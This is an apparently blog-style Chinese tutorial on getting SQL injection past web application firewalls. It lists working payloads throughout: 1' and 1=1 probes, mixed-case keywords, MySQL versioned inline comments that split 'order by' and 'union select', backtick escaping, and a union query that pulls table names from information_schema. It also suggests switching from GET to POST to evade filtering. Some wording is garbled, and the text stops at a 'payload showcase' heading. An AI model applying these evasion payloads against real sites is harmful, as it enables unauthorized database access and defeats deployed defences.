關于我想繞過WAF這件事
繞過waf
至于怎樣繞過waf,其實就是繞過規則庫,在這里給出一些我總結的思路和一些payload,但并不能保證實時性和時效性,因此,學習思路可以保證自己的payload可以隨時更新,一般在你測試網站時發現頁面被攔截,網絡好卻一直轉圈,很可能是被waf攔截。
這個時候可以一個一個試試是否出現違規字符或者被攔截了
例如說
可以進行嘗試,1' and 1=1%23
或者可以先嘗試1' 嘗試,現在市面大部分waf都沒有攔截',但是不排除有攔截的waf 然后去查看and 有可能你只用 id = 1 and 1并不攔截,但是用了 id = 1 and 1=1 這種完整的語句 就會攔截
但是注意的是存在情況 有些waf只攔截 get 不攔截post 所以可以 http://www.xxx.com/index.php?id=1 and 1=1 post: aaa
這樣就不攔截了
0x01 讓我們直視WAF

大小寫轉換法 在某些waf里,使用的正則不完善或者是沒有用大小寫轉換函數
SQL: sEleCt vERsloN(); XSS: aleRt(1)
干擾字符污染 利用網站使用的語言函數特性老繞過waf的規則或者使用會無視的字符
SQL: select version() SQL: select/*!*/`version`();
過安全狗注入
常規注入
首先你要了解關于mysql的注釋特性
在MySQL里,多行解釋 是 /* */,這個是SQL的標準 但是MySQL擴張了解釋 的功能
假如 在開頭的/*后頭加了驚嘆號,那么此解釋里的語句將被執行
比如
/*! select * from test */;
>+------+
| id |
+------+
| 1 |
| 2 |
| 3 |
+------+
再看如下語句
/*!50001 select * from test */;
這里的50001表示假如 數據庫是5.00.01以上版本,該語句才會被推行 因此固然 你的mysql dump出來的成立 view的語句在解釋 里,實際上它是會被執行的
假如 是以下內容,就不會推行 了,那是真正的解釋 了 /* select * from test */; 內聯注釋
order/*!80000aaa*/by/*!80000aaa*/5
payload解釋:因為加了內聯注釋,然后order/!80000aaa/by/!80000aaa/5 這句話數據庫看到這里order by 被隔開了就沒有攔截,然后進去數據庫,數據庫看到這里版本沒有80000那么高,然后直接無視內聯,然后就執行order by
有時候/!80000aaa/只有一個繞不過去,可以嘗試多寫幾個繞過去 /!80000aaa//!80000aaa/這樣
?id=1 union /*!/*!4select*/+1,2,3,4,5
用反引號逃逸關鍵符號
?id=1 union /*!90000aaa*/select 1,2,table_name,4,5/*!9000aaa*//*!90000aaa*/from+`information_schema`.tables where table_schema = 0x6D7973716C
payload展示

